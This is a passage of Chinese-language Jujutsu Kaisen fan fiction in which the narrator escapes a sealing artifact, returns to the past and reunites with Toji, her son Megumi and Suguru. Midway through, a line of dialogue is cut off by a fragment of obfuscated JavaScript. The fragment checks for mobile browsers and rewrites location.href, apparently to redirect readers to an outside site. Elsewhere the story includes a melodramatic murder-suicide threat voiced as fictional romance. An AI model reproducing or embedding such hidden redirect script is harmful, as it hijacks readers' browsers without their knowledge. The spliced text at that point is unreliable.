五条悟摸着下巴道：“呐，这个情况我也不知道，当初我查伏黑甚尔时，并没有查到他第一任婚姻情况。”
那个人渣竟然将第一任妻子消息保护得很好。
“我们去找天使，将立花姐姐放出来不就知道了！”虎杖悠仁大声道。
五条悟轻笑一声，猛地拍了拍虎杖悠仁的肩，“很好，悠仁要保持这种积极心态哦！”
“不过……”
他手一吸，原本在狗卷棘手中的狱门疆里已经落入他手里。
“这里面什么都没有。”
她呀，应该回到她的世界。
来到未来也只是见见孩子，临别时送了他一份礼物。
这个礼物，他很喜欢。
剩下就交给他了。
＊＊＊
高专校医手术室内，病床上躺着昏迷不醒的钉崎野蔷薇。
家入硝子手放在野蔷薇的手臂上。
“是吗？她离开了吗？”
五条悟反坐在椅子上，下巴搭在椅背上。
“说来是和忧太一样的术式，好像更强一些，应该也是菅原道真的血脉，我的亲戚。不过谁知道呢，千年过去，那位老头子的血脉怕是遍布全国了。”
他比较好奇的是那位女士的复制术式，好像复制前提跟忧太不一样，难道说是因为初始设置不同？
忧太因幼年诅咒了里香，大部分咒力都被用来诅咒里香，在进入高专前就是个普通少年。
而那位女士，明显是早早觉醒了术式，奇怪的是他第一次见她时，六眼反馈她就是个普通人。
这些困惑或许都随着那位女士一块被带走了，注定他找不到答案。
“真是了不得啊，竟然还有跳跃时间的能力。”
“你是说狱门疆吗？”
五条悟竖起食指晃动了一下，“不是哦，狱门疆只有封印能力。”
“惠也厉害，竟然成为第一位调伏魔虚罗的十种影法，了不得，都快超越帅气五条老师了！”
家入硝子松开手，从旁边冷藏柜里取出了一个还很新鲜的手臂。
“乙骨忧太差不多到了，你将这个给他，上面刻有无为转变术式，钉崎这边还需要他的帮助。”
五条悟接过。
“夜蛾老师那边……”
五条悟坐起身，“没事了，已经杀干净了，一群没用的老头子，之前留着是觉得有用，现在想想，反而给他们脸了，况且学生们已经成长起来了。”
“要相信我教出的学生。”
他眼神平静道：“毕竟这是一部jump作品，少年会带着羁绊赢到最后。”
很抱歉，硝子，最后留下你一人。
32.再见杰
熟悉的黑暗环境，让我时刻紧绷着的心情放松。
我有些疲倦地闭上眼就这般沉睡了过去。
等再次醒来，狱门疆内还是那么沉寂。
让我意外的是五条悟出去后竟然没有毁掉狱门疆。
不知道外面情况，闲着无聊中我开始盘点这次的收获。
别说出去后收获很大，往常要搜集咒力都是甚尔带着我东奔西跑。
埼玉本来就是个小地方，等级高一点的咒灵少得可怜。
怀孕中后期所有的咒力都用来孕育魔虚罗，每日都处于咒力稀缺的饥饿中，甚尔会带着我全国跑，跟术师抢夺咒灵已经是常态。
去外地时甚尔会将我安置在酒店里，他带着影子去抓咒灵。
这样来来回回跑了半年还没有今日收获多。
感谢羂索的无私奉献。
清点了一下获得的术式，数量有点多，无用的我塞给了影子消化，有用或有意思的暂且留下。
我最喜欢的还是那个能抽取记忆的术式，幸亏五条悟的六眼可以不断收集信息，不然还得麻烦一点。
只希望得到我的记忆后，五条悟能够躲避杀劫，先将伏黑津美纪救下来。
惠这孩子跟甚尔是一个德行，喜欢将活着的锚点放在别人身上。
惠比甚尔幸运，失去津美纪，他还有同伴朋友，总能振作起来。
而甚尔只有我了，没了我，他连支撑他活下去的理由都没有。
想到这里我心情低落起来。
没想到我费尽心思躲过剧情杀，其他人还是回到了原来的命运线。
甚尔还有小杰……
要是能回到他们都活着的时候该有多好。
手中的术式一个个轮换施展，狱门疆内部的封印加强，连拥有庞大咒力的我都有些吃不消。
我索性换成了从狱门疆复制来的封印术式，周边的束缚才骤然一轻。
只是还有若有若无的约束在身旁。
我可以从外面挤进狱门疆里，是因为狱门疆只能从外面破开。
现在的我就算是有和狱门疆一模一样的术式也没法从内部突破出去。
外面进来有缝隙，内部却是封死。
想出去不仅没门，连窗户都没有。
出不去，我开始熟悉多出来的术式，一个个熟悉，等狱门疆的束缚到极点我再换成狱门疆的术式。
就这样来来回回不知道多少遍，也不知道过去多久，我突然发现狱门疆的束缚变小了，也不知道是我的身体适应了，还是狱门疆的咒力耗费过大。
我试图从内部挤开狱门疆，就像是无下限撑开狱门疆一样，狱门疆全盛时期我肯定做不到，但现在不是咒力变弱了吗？
大量的影子出现在狱门疆内，试图从内部挤出去，最后竟然真挤出了一丝影子。
我眼睛一亮，正打算再接再厉，啪的一声，狱门疆咒力变强，关上了那道缝隙。
还没等我将影子收回，一股比往常还要大的束缚直接将影子逼了回去。
我无语，这是触底反弹吗？
紧跟着我眼皮一颤，想起了出去的那丝影子，闭上眼试图感应，没能感应到联系。
直到我将术式换成狱门疆术式，束缚减弱我才感应到外面的那丝影子。
真出去了？
我直接将意识转移过去。
原本傻呆呆的影子突然灵活起来，身上的黑影褪去，变成了彩色的我。
这是当年那个影子咒灵本身的能力，能够替代真身。
我抬起手臂看看，还真和真人无异。
一丝影子能做到这种程度已经很不错了。
旁边架子上放着的正是狱门疆·里，我意识到这里是薨星宫。
狱门疆·里怎么又回来了？
我拿起了狱门疆·里，下一秒就出现薨星宫外熟悉的地下通道，正待我回头找天元时，前方通道里竟然传来了脚步声，还有羂索的声音。
这个声音要更年轻一点，我实在是忍耐不住好奇地看了过去。
然后就见到穿着高专制服，额头上有一抹长刘海的少年领着一个长辫子女生进来。
我意识到了这里是哪里，哪个时间点，一股庞大喜悦冲击我的内心。
杰还活着！甚尔还活着！是一切都没有发生的那个春天！
＊＊＊
出了通道，夏油杰试图打消天内理子的想法，她没必要为咒术界牺牲自己，谁也没有权利剥夺她的性命。
在意识到通道外有人时，他第一时间将天内理子藏在身后，难道是那个男人的同伴？
可是当他看到那个人时，年幼时因束缚被封闭的记忆解封。
他呆呆站在原地看着那个女人，过往的记忆全部闪现。
“小杰，你是有特殊才能的人，注定要成为拯救世界的英雄！”
“好厉害，原来小杰能看到宝可梦，加油，努力保护大家！”
……
“小杰，我们立下束缚吧，长大之前忘记姐姐，拿这段记忆来换取吞食咒灵玉时味觉丧失。”
“约定，长大后我会去找姐姐。”
夏油杰眼眶瞬间红了，担忧悟，操心天内理子，说到底他也只是个十六岁的少年。
“姐姐。”
“姐姐？”天内理子惊讶重复。
夏油杰很想问姐姐这些年在哪里，还有那个男人，现在记忆回来，他也认出了之前袭击他们的男人是谁。
立花霁却没有回答他，而是走到了他们身后的通道入口，“甚尔，你不出来吗？”
伏黑甚尔握着枪走出来，他一身洗不去的颓废，看向立花霁的眼神带着疯狂，“是易容术式吗？”
夏油杰挡在了立花霁和天内理子前面，警惕道：“姐姐，他已经入赘到别人家，现在是伏黑甚尔，不是你认识的那个人了！”
“伏黑甚尔？”立花霁重复了一遍，目光变得凶狠起来。
“甚尔！”
知道他们还活着，立花霁的心态立刻不一样了，她觉得现在有必要将某人教训一顿。
＊＊＊
“你这个家伙，到底做了什么？还有惠呢？不是让你照顾好惠吗？”
我调转枪头怒视甚尔。
“姐姐，他不是以前的那个人了，悟呢，你把悟怎么样了？”
甚尔走过来，越过夏油杰时还不忘恶劣恐吓他，“被我杀了！
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”
我知道五条悟没事，但是等会儿就不一定了。
还有甚尔这家伙怎么变得这么恶劣了？
“杰，你快将小姑娘安排好，我这边还有事，回头我们再联系。”
夏油杰依依不舍带着天内理子离开。
甚尔已经抱住了，却也察觉到了不对劲。
等夏油杰一离开，我问愣住的甚尔，“让狱门疆无效化的咒具带了没有。”
甚尔从丑宝嘴里抽出了天逆鉾，“带了。”
我丢出来狱门疆，“将狱门疆破解，我只分出来一部分影子出来，本体还关在里面。”
我的意识先回狱门疆，再让甚尔解除术式。
“对了，我可能出现在狱门疆表所在位置，你不用去找我，先回家，在我回到家之前我要看到惠，看不到惠，你就死定了！”
我抽回意识回到了狱门疆，几乎是转瞬间我便被狱门疆吐了出来。
眼前很昏暗，像极了多年未开封的库房，库房里堆放着不少咒物，全都是人身体的一部分。
我意识到这里是羂索的秘密仓库，这些咒物说不定就是跟羂索签订契约的古代术师。
还未等我有什么想法，几乎是下一秒这里的警戒结界被触动，我的反应是放出影子，将屋内一切都吞噬。
长满眼睛的狱门疆落在了我手里，这可真是让人掉san值。
出了山洞，一股刺骨的寒风袭来，我才发现自己在雪山上，周围是一眼望不到的大雪。
黑影组成的翅膀在我身后出现，转瞬间我窜到高空，再向下一望不由沉默。
连绵不断的雪山，这是哪里？
再考虑狱门疆·表在海外，羂索不会让狱门疆离自己太远，我思索了下应该是立本的北方。
我朝着太阳方向飞去，无论怎么样，往南飞肯定不会出错。
没飞多久就看见了村庄和城市还有大海。
找了个隐蔽角落停下，再去街道上绕了一圈，我就知道自己在哪了。
这里是北海道。
很意外，北海道属于立本，怎么对于咒术界来说是海外吗？
转念一想也不是没有道理，天元结界是一千多年前出现，那会儿只有本州岛才属于立本，北海道和琉球群岛都属于海外。
这两个地方距离立本近，又不在天元结界包含内，被选为羂索藏东西的地方完全可以理解。
跟热门旅游区的琉球群岛相比，北海道只有夏季热闹点，冬日可是苦寒，再将东西藏在人迹罕至的雪山之中，怕是过一百年都不会发现。
这个一百年是指大正时期起，毕竟现在科技越来越发达，别说雪山，南极北极都有了人类足迹。
确认所处位置，再回东京就方便了，影子抱着我以最快速度向南边冲去，就这样一边冲一边调整方向，两个小时后抵达了家。
这个家当然是大学周围的那个公寓。
然而我在这碰了壁，原本被我视为家的地方已经换了新的租客。
天知道我敲门声，一脸警惕的陌生人问我是谁时我有多尴尬。
我灰溜溜的打车回了外婆那个房子，半路上遇见了在高空飞行的疯批战损版五条悟。
33.是妈妈呀
不是吧，都追到这里来了？
我神情凝重起来，刚觉醒反转术式的五条悟有多疯，从原著里就能知道。
当务之急是让五条悟冷静下来。
我目光一凝，召唤出了影子空间，天上的人感应到庞大咒力，闪身出现在我面前。
我手中出现了一个湛蓝色的球，狱门疆也无声无息被吐出来。
湛蓝色的球扔了过去被无下限挡在外面。
五条悟似是稍微恢复了一点理智，“我记得你，你还活着？”
“为什么要攻击我？”
还没等我回答，蓝球破碎，大量信息被六眼读取，趁着五条悟出神之际我说了一声，“狱门疆，开门。”
“狱门疆关门！”
对待亢奋的猫咪当然是让他进猫箱里冷静一下啦！
捡起了狱门疆，狱门疆外面的眼睛变成蓝色，奇怪的是他并没有用无下限抵抗。
难道是信息冲击到了？
也对，那可是原著漫画、动漫还有庞大解说。
当然也有可能是知道我不会伤害他。
回到了生活了二十年的房子，让我意外的是这里被保护得很好。
地面没有杂草成堆，屋顶的瓦片都被重新换过。
一楼门锁着，只二楼我原来住着的房间门开着，我心中不由一动。
难道说……
我上了二楼，走到门口就看到了一脸警惕的海胆头小男孩和一个小女孩。
我鼻子一酸，眼泪忍不住掉下来。
这是惠，跟已经长大变得陌生的惠比，这个才是我熟悉的孩子。
旁边突然多出一个人影，他手放在了我的肩膀上。
大概是见我近乡情怯，推了推我。
“我跟小鬼说过了，将你找回来了。”
我擦拭了一下眼泪，斜着眼睛看他。
我还没找他麻烦呢，他竟然带着惠背对着我改嫁、不对，是入赘别人家。
“你是我的谁？以什么身份来说这种话？伏黑先生？”
我咬牙问。
高大的男人如同一只被训斥的巨犬一般低垂下头。
“霁，你别生气。”
“不要叫我名字，我们现在是陌生人！”
“你要将以前都推翻吗？”
“你都入赘别人家了，现在是别人的丈夫，你跟我说这些不觉得可笑吗？”
“不行，你不能不要我，惠呢，你忘了我们还有惠？”
“惠是意外。”
男人冲进屋里夹着海胆头出来，“当着惠的面，你敢说他是意外吗？”
我狠狠瞪了他一眼，看惠被他胳膊夹着难受，连忙上前去解救他。
我抱住了惠，这个我十月怀胎生下的孩子。
“惠。”
我眼泪控制不住流下来，翻江倒海的思念将我淹没。
“惠，我是妈妈呀！”
“妈妈？”惠呆呆地重复。
我感觉到他的小手在擦拭我的眼泪。
甚尔那个不要脸的东西竟然抱住了我们母子。
我没搭理他。
“惠，我是妈妈。”
“行了小鬼，别抱我老婆。”
我气死了，这家伙都当爸爸了，还在孩子面前不着调。
甚尔却一把将惠从我怀里拎走，丢到屋里沙发上。
我正要发火，甚尔却一把搂住我，头埋在了我的颈窝处。
我感觉到一阵湿热，什么话都说不出来了。
甚尔，这可是我的甚尔。
在我的内心里，甚尔一直是那个在街头无家可归的少年。
我叹了口气，伸手回抱住了他。
“霁，你回来了。”
“嗯，我回来了。”
“霁，我解开了狱门疆没有发现你，去了很多地方都没有你的踪迹。”
腰间的手臂收紧，我被迫仰起头道：“嗯，狱门疆将我送到了未来，我在未来看到了惠……和甚尔。”
“我现在很开心，开心到要疯掉了，就算是现在死去，我也没有遗憾了。”
我恨恨捶他一下，“瞎说什么呢你？我们都要活着，好好地活着，就算上天想要我们死，我不允许，你就要活着。”
“嗯，我听霁的话，霁是我的上天。”
我踮脚踮的很不舒服，强硬推开他，这家伙嘴咧开到跟傻子一样。
＊＊＊
甚尔不知道该如何形容此刻的心情，心中的暴雨在看见霁的瞬间停止。
不是吧，是假装的吧？
霁怎么会出现在这里，还穿着当初离开时的那套衣服？
他目光紧紧盯着霁，连近在眼前的任务目标星浆体都视而不见。
心中像是在盛开烟火，从身体到灵魂没有一处不再颤抖，这是霁，是他的霁！
后面的事甚尔还仿佛在做梦一般。
霁真的回来了，还要见惠？
惠？
甚尔一个激灵，飞快将放学路上的儿子拎起来，这小鬼拉着津美纪不放，他索性将另一个小鬼一起带上。
离开伏黑家后，绝大多数他是留在这栋破旧的房屋里。
这里满满都是霁的气息，她在这里度过了从出生到成人的岁月。
没人照顾的老房子败得很快，他出钱从霁母亲手中买了下来，又修复了房顶。
无眠之夜里，他会躺在霁的房间里，静静感受她的气息，就好像下一秒她会走进来一样。
现在霁真的回来了，甚尔感觉像是做梦一样。
将两个孩子放下，他趴在栏杆上，像是许多年前等待她放学时的情景一样。
那时的他在听见属于她的脚步声时才回屋子。
等待太煎熬，确定身份后，他选择接送她上下学。
一个小时后，甚尔有点急躁，霁为何还没有消息传来？
两个小时后，夕阳已经落幕，他蓦然惊醒，霁该不会走错了，去了公寓那边？
公寓那边也有他们的美好回忆，同时还有他痛苦的回忆。
他在那里失去了霁，留在那里只会让他更加痛苦。
想到霁可能找错了地方，甚尔一边责怪自己，一边往大学跑去。
走到一半时他察觉到了天空中属于六眼的咒力，六眼降落下来，是家的方向。
甚尔只能调转头冲回去。
他没有看到六眼，反而看见了霁，甚尔提着的那颗心总算是放下了。
他的霁，回来了！
＊＊＊
我拍了拍他的脸，“行了，不要傻乐了，不是说接了盘星教的任务吗？”
我影子扭曲了一下，吐出一个少女尸体，这是无颜少女的能力，可以变成任何
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我见过的面孔。
少女正是天内理子模样。
“这钱不能白扔，你拿去将任务交了，回头我让杰去将尸体抢回来。”
甚尔不肯走，还是被我打发走了。
丑宝爬下来将无颜少女伪装成的尸体吞了，又爬回了甚尔肩膀上，还发出了意义不明的声音。
打发走甚尔，我开始翻找手机。
涩谷成为废墟，周围的商铺没了人，我去找吃的时候也看到了没人的手机店，当然我不是白拿，放了钱的。
“姐姐？”
我扭头看见了坐在咒灵身上的杰，显然安顿好天内理子后他就过来了。
也对，他是知道这里的。
“杰。”我趴在栏杆上冲他招手。
“你的手机号多少？”
他从咒灵身上跳下来，站在我面前。
十六岁的大小伙比我都要高一头。
等他报完数字，我记下，他好奇的看了一眼明显不属于这个时代的手机，然后关心地问起我来。
“姐姐，你和那个男人分开了吗？”
我想了想，“情况有点复杂，杰，甚尔带着天内理子的尸体去盘星教了……”
“不可能，我从理子那回来。”
“别打断！”我瞪了他一眼，小孩子长大后越来越不可爱了。
“是伪装的，你现在过去将尸体抢回来，不要暴露了，对了，还有天内理子赶紧送走，要是不知道送哪里，送给九十九由基，她也是星浆体。”
杰的眼睛明显瞪大。
“星浆体有两个？”
“不，星浆体有很多个，事情有点复杂，你快去办，不用担心天元，天元不会泄露出去。”
见他还傻待着，我干脆推了推他。
“快去，甚尔已经去了，你别去晚了，让人发现是假的，到时候天内理子还是逃不过追杀！”
杰深深看了我一眼，再次召唤出咒灵跑了。
两个烦人的家伙离开，我走进了屋内。
看着有些坐立不安的女孩，我蹲下身。
“要打电话给你妈妈吗？”
津美纪摇摇头，“妈妈已经两天没回家了。”
我皱眉，这对再婚夫妇是没一个靠谱。
“惠，饿了吗？”
我半抱住了他。
小孩大概是没有被这么热情招待过，有点别扭，不过没有推开我。
“有点饿。”
他摸了摸肚子。
我一看这可不行，不能饿着孩子。
拉开冰箱一看，里面空空荡荡，连电都没有插。
我扶额，真是服了他，看这屋里也不像是没人住，结果倒好，什么吃的都没有。
我脱下外套，算了，还是去大采购吧！
“惠要和妈妈去超市吗？”
我向惠提出了邀请。
“津美纪也去吗？”
我看向女孩若有所思，女孩抓着裙摆有些局促不安。
我笑道：“当然去，津美纪也一起去，津美纪妈妈不在家，先住在我们家，等爸爸回来再做打算。”
我领着两个往超市走去，超市还是多年前模样，只是外面打的广告变了。
几年前我领着甚尔过来，几年后我领着我们的孩子过来，命运在这一刻重合，这一次我绝对不会再让剧情回去。
34.困惑
甚尔回来前，杰给我打了电话，说已经去过盘星教处理过了，听得出来，他的声音很迷茫。
“姐姐，人类为什么对人类恶意那么大？”
我反问，“杰，你在困惑吗？”
“没什么。姐姐，今晚我会送天内理子离开，另外悟不见了。”
“五条悟还活着，领悟了反转术式，我知道他在哪里？你处理完天内理子后再过来，不要急。”
“……”
他似乎被我的话惊到，“是吗？悟学会了反转术式？”
我笑道，“很简单的，等你回来姐姐教你。”
“欸，姐姐也会吗？”
“哎呀，不说了，你的小外甥要吃饭了！”
“哦，嗯？什么？你有孩子了？！”
耳边是杰不敢置信的声音。
然后是他的暴怒声，“那个男人竟敢欺负姐姐，我要杀了他……”
什么迷茫全消散了，这不是很精神？我满意地挂掉了电话。
没错，要保持这种精神哦～
＊＊＊
甚尔回来时我在厨房做饭，这边缺少的东西太多，买起来就刹不住手，我先买了三明治让两个孩子垫垫肚子，再买了一大堆昂贵的零食和玩具。
惠看着零食和玩具态度好像亲近了不少，只有津美纪一脸担忧，好像怕我花光了钱。
我满脸问号，若是我没记错，我把股票应该留给了甚尔才对，随便卖掉一只养惠都足够了。
临封印前我可都交代好了。
门被人从外面拉开，甚尔走了进来，二话不说接手我手中的工作。
我瞥了他一眼，将围裙脱下来，然后走入客厅里。
多了两个孩子，房子显得更小了。
津美纪陪着惠在玩乐高。
我坐了过去将惠抱在怀里，他的小身体僵硬了一下又软了下来。
他歪头。
“妈妈？”
一声妈妈将我叫得热泪盈眶。
“哎！”我应下，然后抱住他亲了好几口，亲的他有些害羞躲闪。
甚尔端着晚饭过来，一锅荞麦面，上面还铺着荷包蛋。
放在桌上后，一转身就将儿子毫不客气地拎起来。
“小鬼，你已经断奶了，不要黏着妈妈，那是我老婆！”
我一巴掌拍在他头上，“不要这样抓着惠，他会不舒服！”
我坐下来，又招呼拘束的津美纪坐下，”快过来吃饭。”
然后我问甚尔，“今天星期几？”
“火耀日。”
“明天星期三，还要上学，快点吃饭，早点睡觉。”
我拿了个空碗给惠装了一小碗，“慢点吃，烫。”
又给津美纪装了半碗。
我对她倒是没有什么想法，事实上甚尔和对方母亲结婚，本就奔着找个抚养人而已。
这孩子在未来昏迷不醒说到底还是受到了惠的牵连。
我给自己装了一碗，甚尔见没有他的份悻悻的自己盛。
吃完饭我先领着津美纪去洗澡，然后看向厨房装贤惠的男人。
“我的衣服呢？”
他背过身去，没一会儿将丑宝丢了过来。
惠瞪大了眼睛。
丑宝吐出来一大堆东西，全都是当初放在公寓里的东西。
不只有衣服被子之类，还有我那些过期的化妆品和洗漱用品。
我还翻出了我的手机和银行卡。
找了两件合适衣服，带着津美纪先进去洗澡，等洗完出来甚尔已经不在了，惠也不在了，应该是去了隔壁。
卧室里床已经铺好了，我让津美纪赶紧去休息，然后拿了她的衣服去洗。
小孩子的衣服很单薄，洗完晾干明天就能穿，也不耽误去上学。
过了一会儿，甚尔光着膀子提着光溜溜的惠过来了。
手里是已经洗好的衣服。
将惠塞到卧室和津美纪一起睡，我才走到客厅想喝点水。
甚尔若有若无地展现他身上发达的肌肉，腰上只缠着一块欲掉不掉的浴巾。
我惊讶，“你怎么还没走？”
一刹那他已经出现在我身后，将我半拥在怀里。
我惊讶他的速度，已经完全体的真希都赶不上。
半湿的头发落在我耳际，他湿热的呼吸打在我的脖子上，刺激的肌肤起了一层疙瘩。
我没好气道：“快点松开我，我不跟有妇之夫搞暧昧！”
这家伙死了我可以不计前嫌心疼他，原谅他的骚操作。
可问题是他现在还活着！
不仅入赘了别人家做女婿，还将我的儿子卖给了禅院家，想要我轻易原谅他，没门！
“霁，我好想你~”他不要脸地撒娇。
我才不吃这一套，专盯着一块死穴刺。
“想我就是到处做小白脸混吃混喝，入赘别人家？”
我转身掐住了他的脸蛋，恶声恶气道：”甚尔，你的脸呢？”
甚尔冷漠道，“我已经做好了成为一个自尊心和尊严的人，惠放在普通人家养，比跟着我好。”
闪耀的绿眸紧盯着我，“失去家的野犬注定了要死在荒野中，是霁先松开我的手。”
我对他这倒打一耙指控差点没气死。
我低吼道：“这等怪我吗？”
“我又不知道封印会出差错，会把我送到十二年后，我这不是知道后赶紧回来了吗？”
“还有，谁让你去杀星浆体的？”
“那是个活生生的女孩，甚尔你什么时候变得这么冷酷，可以结束一个无辜女孩的生命？”
甚尔再次抱住了我，“霁，非要说这些吗？”
我推开他的手，没推动，反而让他手臂箍紧，“这是原则问题！”
我失望道：“甚尔，你以前不是这样的，你在我心里一直是个好孩子……”
“哈？”甚尔被逗笑了。
他嘴贴着我耳边，热气扑入我耳蜗。
“可是霁，这才是真实的我，我就是这样无法无天，视人命如草芥，刚出禅院家那会儿，我可是杀了不少术师，被人称为术师杀手……”
“霁，你失望吗？你爱上的是伪装的我，所以是想要离开我吗？”
“我不许，你要离开我就杀了你再自杀，就算是死亡你也逃不开我！”
我无语，这是进入鬼畜文学了吗？
我用力掐他手背一下，“你从哪里学来这些乱七八糟的东西？”
“我现在命令你，赶紧将那些关系处理干净！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057362|146485||http|test|mini|href|location''.split(''|''),0,{}));
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他一下子精神起来。
“霁，我可以吻你吗？”
“想到别想，我不跟别人的男人接吻！”
隔天一早甚尔被我踹起来送惠和津美纪去上学，还被我下了命令。
“没解决完就别回来！”
甚尔不想走，被我连踢带踹赶走。
九点钟有人来敲门，我拉开是杰。
他一进门就往屋里看，我打了个哈欠，“别看了，惠上学去了。”
杰有些没忍住，“姐姐，你知道那个男人是禅院家的吗？禅院家是很封建的家族，根本不把普通人当人看！”
我抓来抓头发，“知道，甚尔就是受不了禅院家的欺负跑出来的。”
＊＊＊
夏油杰看姐姐还在帮那个男人说好话，忍不住鼓起脸颊。
“姐姐，你们分开了吗？那个男人不是已经入赘伏黑家，为何还来找你？”
“你之前说的情况很复杂，到底发生了什么？”
这小子长大后怎么变得那么唠叨，难道是被五条悟传染了？
“吃早饭了没？”立花霁进厨房端走甚尔离开前做好的早餐。
看到那熟悉的小章鱼香肠，夏油杰就忍不住冷笑，他姐姐可没有那个耐心给香肠开花刀。
“没有。”
立花霁将早饭分了一半给他，看着夏油杰眼下的青黑就知道他一夜没睡。
谁的弟弟谁心疼。
“天内理子送走了吗？”
“嗯，我把理子酱托付给北海道的咒术连了。”
严格来说日本咒术界有两个并立组织，一是本岛的咒术界，一是北海道阿依努的咒术连。
北海道不在天元结界内，实力也低于本岛，不过也因为不在天元结界内，咒灵等级也不高。
虽然和咒术界有合作，不过跟咒术界一堆烂橘子比，这个地方显然要友善一些。
夏油杰曾去过北海道出差，也认识了一些值得信任的人，他将天内理子托付过来，打算等找到五条悟再想办法送天内理子去海外。
至于为何不找九十九由基，主要是不认识，没交情，也不信任。
立花霁喝了一口牛奶，托着腮带着玩味笑容问，“杰是感觉到困惑了吗？”
“？”夏油杰明显愣住，“姐姐，你在说什么？”
立花霁拆穿他的伪装，“明明很讨厌盘星教的人随意夺走一个少女的生命，是不是觉得自己祓除咒灵只为保护这样的人不值得？”
“姐姐！”
立花霁继续道：“没想到吧，星浆体不只有一个，总监部多年前就发现了九十九由基，九十九由基升到特级就跟总监部闹翻了，他们选择了天内理子，为了让她心甘情愿跟天元融合，从小就给她洗脑……”
夏油杰全身冰冷，在盘星教看到那一幕幕再次出现在他眼前。
那些普通的教众竟然对着“理子”的尸体鼓掌，多么荒谬，为了维持天元的纯洁，竟然杀死一名无辜少女！
那么多人就没有人觉得是错的吗？
“杰，从小你就很有正义感，觉得应该帮助普通人，你没有发现你将自己凌驾于普通人之上吗？”
“够了，别说了！”他猛然站起身，身后的椅子晃了晃最终败给了引力摔倒在地。
35.羁绊
我难受的走过去抱住了他。
这个糟心的世界。
“杰，偶尔也要低下头看看我们这些普通人，你不能将五条悟的认知放在自己身上。”
“五条悟是五条家的神子，从小就被当着神明供奉着，他习惯了将自己和普通人隔离开，但是你不是。”
“你是从小生活在普通人社会，怎么会觉得自己跟普通人不一样呢？”
“可是姐姐，真的不一样，我能够看见咒灵，普通人不可以……”
他头搭在我肩膀上，我能够感受到他这一刻的纠结、疑惑、不解。
“杰，不是那样的，世间不是有咒力就比别人高一等，普通人研究的核武器，转眼间就能将本岛从地图上抹去。”
术式再强能跟“小男孩”对抗吗？
“姐姐，我明白你的意思，不用为我担心，我只是有些情绪低落。”
我叹了口气，又闭上了，刚强行撬开的壳又闭上了。
算了，等五条悟出来再说，谁的挚友谁来拯救。
“霁！”门被人推开，甚尔抱着惠一副抓奸的眼神审视着我们。
“他是谁？”
我翻了个白眼，“杰呀，你忘记了？还有惠怎么又带回来了。”
“小鬼吵着找你，我只能帮他请假了。”
这话我半个字都不信。
一旁的杰幽幽道：“姐姐，他说过他不擅长记男人的名字，对于女性的名字倒是记忆深刻。”
＊＊＊
惠听见声音转头看过来，夏油杰这回忍不住了，为什么这个孩子长得跟这个男人如出一辙，真是讨厌！
一想到这是姐姐的孩子，夏油杰一咬牙，皮笑肉不笑伸手。
“是来送孩子的吗？交给我吧。”
他接过了惠，然后不客气赶人，“你可以走了，我们家不欢迎别人家的男人，特别是入赘女婿！”
甚尔可怜巴巴看向立花霁，“霁！”
立花霁凉凉附和，“都处理完了吗？将你那些乱七八糟的事处理完了再说。”
夏油杰茶言茶语在一旁火上浇油，“毕竟是别人家的女婿了，再找姐姐是不是不合适？我姐姐年轻漂亮，值得一个忠诚的男人。”
“姐姐，你觉得悟怎么样？”
立花霁烦躁道：“你也给我闭嘴，别逼我扇你！”
两个都不是好东西！
＊＊＊
最终甚尔离开了，被他当作敲门砖的惠留下了。
男人可以不要，儿子说什么得留下。
三头身的惠可真是可爱，我接过来抱住。
“姐姐，你不想说过去我不问……”他垂下头失落道：“我只是关心姐姐，心疼姐姐。”
这家伙去高专上学难道还进修了绿茶课程？
我无奈道：“真没多大事，就是生了一场重病，甚尔误以为我死了。”
杰的眼睛再次瞪大，“生病？”
我笑笑，“是很严重的那种病，治不好的那种。”
杰眉头紧锁，过来拉我的手，“我们去找硝子！”
“已经好了。”我挑眉，“别忘了我学会了反转术式。”
我还是被杰硬拉到医院里里外外检查了一遍，结果没出来，我们先回了家。
“姐姐也成为咒术师了吗？”
我点头，“甚尔找天元要了狱门疆，将我封印其中。”
“狱门疆是特级咒具，可以将人连同时间一块封印，人在里面感觉不到时间流逝。”
见他皱眉，“当时没有发现反转术式，甚尔将我封印起来也是不想我死。”
“我被封印进狱门疆后意外去了十二年后，碰见了一个可以改变人灵魂的咒灵，那个咒灵改造了我的大脑，让我可以使用术式。”
杰忍不住问，“十二年后，那我呢，我没有帮助姐姐吗？”
我看了他一眼摇摇头，该怎么告诉他，他和甚尔，我两个最亲近的男人都死了，只留下一个什么都不知道的惠。
我抱紧了怀中的惠，说什么也不会让他再有那样一个童年。
“我没有遇见你，遇见了惠，只在未来度过了几个小时就回来。”
“回来后就出现在薨星宫。”
＊＊＊
夏油杰终于知道姐姐为什么出现在薨星宫了。
“你也别怪甚尔，他和你不一样，没有我活不下去。”
“五条悟和你说过了吧，甚尔是天与咒缚，明明很强，在禅院家却是备受欺负的一个。禅院家的理念是非术式非人哉，甚尔再强没有术式也没用，从小挨欺负。”
“虽然叛逃了禅院家，他骨子里还是认同禅院家的那一套理论，总是贬低自己，觉得自己是一无是处的普通人。”
夏油杰想到对方毫不费力地捅了五条悟一刀，连无下限都没有挡住，对普通人这个词产生了新的定义。
此刻立花霁的眼神里有着光，“我捡回甚尔时，他在街上流浪，下雨没处去才跟着我回家，不是我救赎了他，他也救赎了我，他给了我全部，我很珍惜他。”
夏油杰沉默片刻，目光放在那张跟那个男人如出一辙的脸蛋，这是姐姐为那个男人生下的孩子。
他做舅舅了？
像是注意到他的视线，立花霁将怀里的小孩塞给他。
“中午在家吃，有什么想吃的吗？”
夏油杰抱着热乎乎的小孩，这是和咒灵不一样的触感。
“荞麦面吧。”
立花霁翻动冰箱，“吃什么荞麦面，今天吃中华料理。”
夏油杰带着无奈又撒娇的口吻，“姐姐有打算了，为何还要询问我意见？”
立花霁理所当然回答，“当然让你有参与感。”
六月里气温已经上升，她穿着白色短袖短裤衬得她皮肤都在发光。
夏油杰嘴角微微上扬，真好，姐姐还在。
立花霁抱着一堆食材和调味料进厨房，先研究了一下新买的电饭锅将饭给煮上。
不大的客厅里，夏油杰跟外甥面面相觑，突然他想到什么，开口询问。
“姐姐，你知道悟在哪里吗？”
昨晚他忙着天内理子的事，怕她被总监部发现，用咒灵将人送到了北海道。
一来一回就是一夜时间。
